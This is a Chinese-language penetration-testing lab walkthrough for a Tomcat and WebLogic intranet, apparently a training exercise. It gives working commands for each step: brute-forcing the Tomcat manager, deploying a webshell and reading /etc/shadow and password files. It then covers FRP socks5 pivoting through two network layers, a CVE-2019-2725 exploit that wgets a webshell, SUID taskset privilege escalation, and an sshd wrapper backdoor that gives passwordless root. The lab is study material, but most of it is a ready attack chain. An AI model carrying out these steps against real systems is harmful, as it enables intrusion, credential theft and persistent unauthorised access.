实验步骤一 >>> 从攻击主机访问靶机
访问靶机,进入web页面,原代码找到flag
flag{5676bc5094d2c4d0d497dcd00b00c1d4}
url是tomcat 8.0.43版本,扫描目录得到后台登陆界面
访问url/host-manager/html又发现一个flag,这东西太多了不多说了
实验步骤二 >>> 服务器管理后台的弱口令爆破
后台登陆在kali中使用metasploit对tomcat用户名和密码进行爆破:
启动msf工具,搜索tomcat模块
使用tomcat_mgr_login模块进行爆破
设置服务地址
跑出来账密为tomcat/tomcat
进入http://10.1.1.121:8080/manager/html
tomcat项目部署功能,此功能允许用户通过上传war包,来部署自己的应用项目
实验步骤三 >>> 构造和使用Webshell获得服务器访问权限
用蚁剑的jsp木马,制作生成包含jsp木马的ant.war包:
deploy上去,木马路径在url/ant/ant.jsp
启动中国蚁剑连接webshell

拿到此服务器权限
实验步骤四 >>> 服务器敏感信息收集
执行命令、查看文件,获取tomcat服务器信息,如:所在IP段、开放的服务、敏感信息等
ip addr
ps -elf
查看用户敏感信息
cat /etc/passwd
cat /etc/shadow
find / -name *pass* -type f
find / -name *admin* -type f
实验步骤五 >>> 发现一层内网主机并实施内网穿透
还有一张网卡,联通内网网络
上传ladon64工具到tmp目录,判断内网存活主机IP
chmod +x ladon64
./ladon64 172.22.0.0/24 icmpscan
得到内网网段存活主机IP:172.22.0.20
上传FRP相关工具文件到tomcat服务器的/tmp目录
cd /tmp
chmod +x frp*
修改frpc配置文件
[common]
server_addr = 10.1.1.119
server_port = 7000
[socks5]
type = tcp
plugin = socks5
remote_port = 5000
在攻击机上运行frps服务
cd /root/Desktop/frp # 切换到frp工具目录
./frps -c frps.ini # 通过-c选项指定frps配置文件
在获得shell的Tomcat服务器上执行frpc客户端
cd /tmp
./frpc -c frpc.ini # 通过-c选项指定frpc配置文件
建立连接之后,会创建一个socks5代理通道
使用代理工具proxychains通过建立的socks5代理通道访问内网存活主机IP。
编辑修改proxychains配置文件
在文件末尾注释掉默认有的socks4配置项,添加如下配置:
socks5 127.0.0.1 5000
浏览器配置插件,利用5000端口访问内网
成功访问
实验步骤六 >>> 内网扫描发现内网服务
通过socks代理通道,可以用外网的攻击机,访问到原本无法访问的目标内网主机,对内网进行攻击测试。
通过socks代理工具,代理nmap流量到内网,对内网主机开放的端口进行扫描。socks5是无法代理icmp协议请求的,把icmp的请求禁止走我们建立的socks代理,来防止正常请求发送出错或无法发送。在nmap中使用-Pn选项:
proxychains nmap -Pn -sT -T4 172.22.0.20
-Pn:禁ping
-sT:tcp连接探测端口
-T4:加快请求连接速度
ladon64工具扫描内网weblogic
发现开放weblogic服务的默认端口7001,版本为Weblogic:10.3.6.0
配置代理后可访问到攻击机原本访问不到的内网Weblogic服务
实验步骤七 >>> 远程命令执行漏洞利用
cd /root/Desktop/weblogicscan
cp fake_useragent_0.1.11.json /tmp/
proxychains python3 WeblogicScan.py -u 172.22.0.20 -p 7001
有很多漏洞,这里利用CVE-2019-2725,因为桌面上刚好有这个脚本
cd /root/Desktop
proxychains python3 weblogic-CVE-2019-2725.py 10.3.6 http://172.22.0.20:7001/ whoami
可以看到成功利用并执行命令,还是root权限
proxychains python3 weblogic-CVE-2019-2725.py 10.3.6 http://172.22.0.20:7001/
上传webshell小马
通过利用Weblogic的远程命令执行漏洞上传的Webshell只能进行命令的执行,而无法通过中国蚁剑等Webshell管理工具做更多的操作,因此,我们需要上传一个蚁剑Webshell
使用蚁剑文件管理功能,进入Tomcat服务器/usr/local/tomcat/webapps/ant/目录,新建ant.txt文件,复制ant.jsp文件内容到ant.txt文件中
因为Tomcat和Weblogic服务器在同一个网段,可以互相访问,在Weblogic服务器上可以通过如下URL访问ant.txt文件
http://172.22.0.10:8080/ant/ant.txt
通过命令执行下载我们放在Tomcat服务器上的ant.txt文件到Weblogic网站目录:
http://172.22.0.20:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=wget http://172.22.0.10:8080/ant/ant.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/ant.jsp
给蚁剑配置代理
蚁剑重启之后,添加上传到Weblogic服务器的Webshell连接:
实验步骤八 >>> 攫取二层内网的敏感信息
通过蚁剑工具连接Webshell后执行命令、查看文件,获取WebLogic服务器信息,如:所在IP段、开放的服务、敏感信息等
whoami # 查看当前用户权限
ip addr # 查看当前主机IP 172.26.0.20
ps -elf # 查看当前主机运行的服务
find / -name *pass* # 查找主机系统中包含pass字符的所有文件名
可以看到这个也是双网卡
在/root目录下发现一个pass.txt文件,base64解密得到一组账号密码
上传ladon64检测工具,获取内网存活主机IP
cd /tmp
chmod +x ladon64
./ladon64 172.26.0.0/24 icmpscan
发现内网存活主机IP:172.26.0.30
实验步骤九 >>> 穿透二层内网并发现关键服务
内网主机172.26.0.30与Tomcat服务器172.22.0.10处于不同的网络,也就是说,在没有手动设置路由的情况下,它们之间是无法互相访问的;
因此原来搭建的socks5代理通道是无法访问到172.26.0.30主机的;
而Weblogic服务器不仅可以访问到Tomcat服务器,也可以访问到172.26.0.30主机,因此利用它来实现访问在二层的内网网段172.26
上传frpc、frpc.ini到Weblogic服务器
修改frpc.ini为如下:
[common]
server_addr = 172.22.0.10
server_port = 7000
[socks5_2]
type = tcp
plugin = socks5
remote_port = 6666
Tomcat服务器新建frpc2.ini配置文件
[common]
server_addr = 10.1.1.119
server_port = 7000
[socks5_1]
type = tcp
plugin = socks5
remote_port = 5000
[socks5_to_26]
type = tcp
local_ip = 127.0.0.1
local_port = 6666
remote_port = 6000
以Tomcat服务器为跳板机,转发从攻击机的6000端口传输过来的流量请求到本地的6666端口,而本地的6666端口为Tomcat与Weblogic服务器之间建立的socks代理通道的入口,也就相当于,把外网的请求流量,通过Tomcat跳板机,转发到Weblogic服务器所在的二层内网。
Tomcat服务器在运行frpc之前,需要先把之前建立一层socks5代理时启动的frpc进程停止,然后再用如下命令指定新的frpc配置文件启动新的frpc进程
cd /tmp
ps -elf|grep frpc
kill 89
./frpc -c frpc2.ini
为了建立二层socks5代理,需要在Tomcat服务器上启动一个frps服务端,然后在Weblogic服务器上启动连接此frps的frpc客户端,从而使Tomcat与Weblogic服务器之间建立一个socks5代理通道,用于流量数据传输。
./frps -c frps.ini
Weblogic服务器客户端连接Tomcat服务器启动的frps服务端,建立socks5代理通道,代理通道入口为Tomcat服务器的6666端口:
./frpc -c frpc.ini
可以看到攻击机监听了两个socks5代理端口,5000端口为代理访问一层内网网段172.22.0.0/16,6000端口为代理访问二层内网网段172.26.0.0/16。
从处于外网的攻击机上发送到二层内网网段172.26.0.0/16的请求数据,其数据流向为:
attack攻击机 --> socks5:127.0.0.1:6000 --> tomcat服务器 --> socks5:127.0.0.1:6666 --> Weblogic服务器 --> Dev服务器
攻击机配置proxychains代理访问二层内网主机,编辑proxychains配置文件
注释掉末尾之前的socks5代理配置,添加如下配置内容:
socks5 127.0.0.1 6000
通过socks代理工具,代理nmap流量到内网,对二层内网主机开放的端口进行端口扫描
proxychains nmap -Pn -sT -T4 172.26.0.30
发现开放远程连接SSH端口22
实验步骤十 >>> 获得二层内网主机的普通用户访问权限
清空known_hosts文件内容:
echo > /root/.ssh/known_hosts
通过proxychains工具代理SSH连接二层内网dev服务器:
proxychains ssh simadmin@172.26.0.30
echo命令可能不成功,手动清理一下known_hosts文件内容
连接后默认是sh shell外壳,切换为bash shell外壳,会更方便操作:
bash
查找系统中所有具有SUID权限的文件,发现存在拥有SUID特殊权限的程序taskset
find / -perm -u=s -type f
实验步骤十一 >>> 权限提升(Root权限)
利用具有SUID权限的taskset从simadmin普通用户权限提权到root权限;
ls -la /usr/bin/taskset
whoami
taskset 1 /bin/bash -p
whoami

实验步骤十二 >>> 权限持久化(后门)
利用SSH Server Wrapper技术,在dev服务器留下SSH登录后门,
cd /usr/sbin/
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..LF/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
可无需密码获得目标主机root用户权限:
echo "ls" | socat STDIO TCP4:172.26.0.30:22,sourceport=19526
echo "whoami" | socat STDIO TCP4:172.26.0.30:22,sourceport=19526
echo "ip addr" | socat STDIO TCP4:172.26.0.30:22,sourceport=19526
因为中国蚁剑的模拟终端会自动的把进程放到后台,因此无法直接在终端中与后门进行命令交互,这里采用管道|的方法,把要执行的命令重定向到与后门的连接中,并返回执行后的结果:
因为每执行一次命令需要连接我们的后门,然后执行命令,返回结果,因此在执行下个命令时,需要稍微等待几秒时间,等待上次连接关闭,然后才能继续执行命令,否则会出现如下图所示错误:Address already in use。
最后留影





































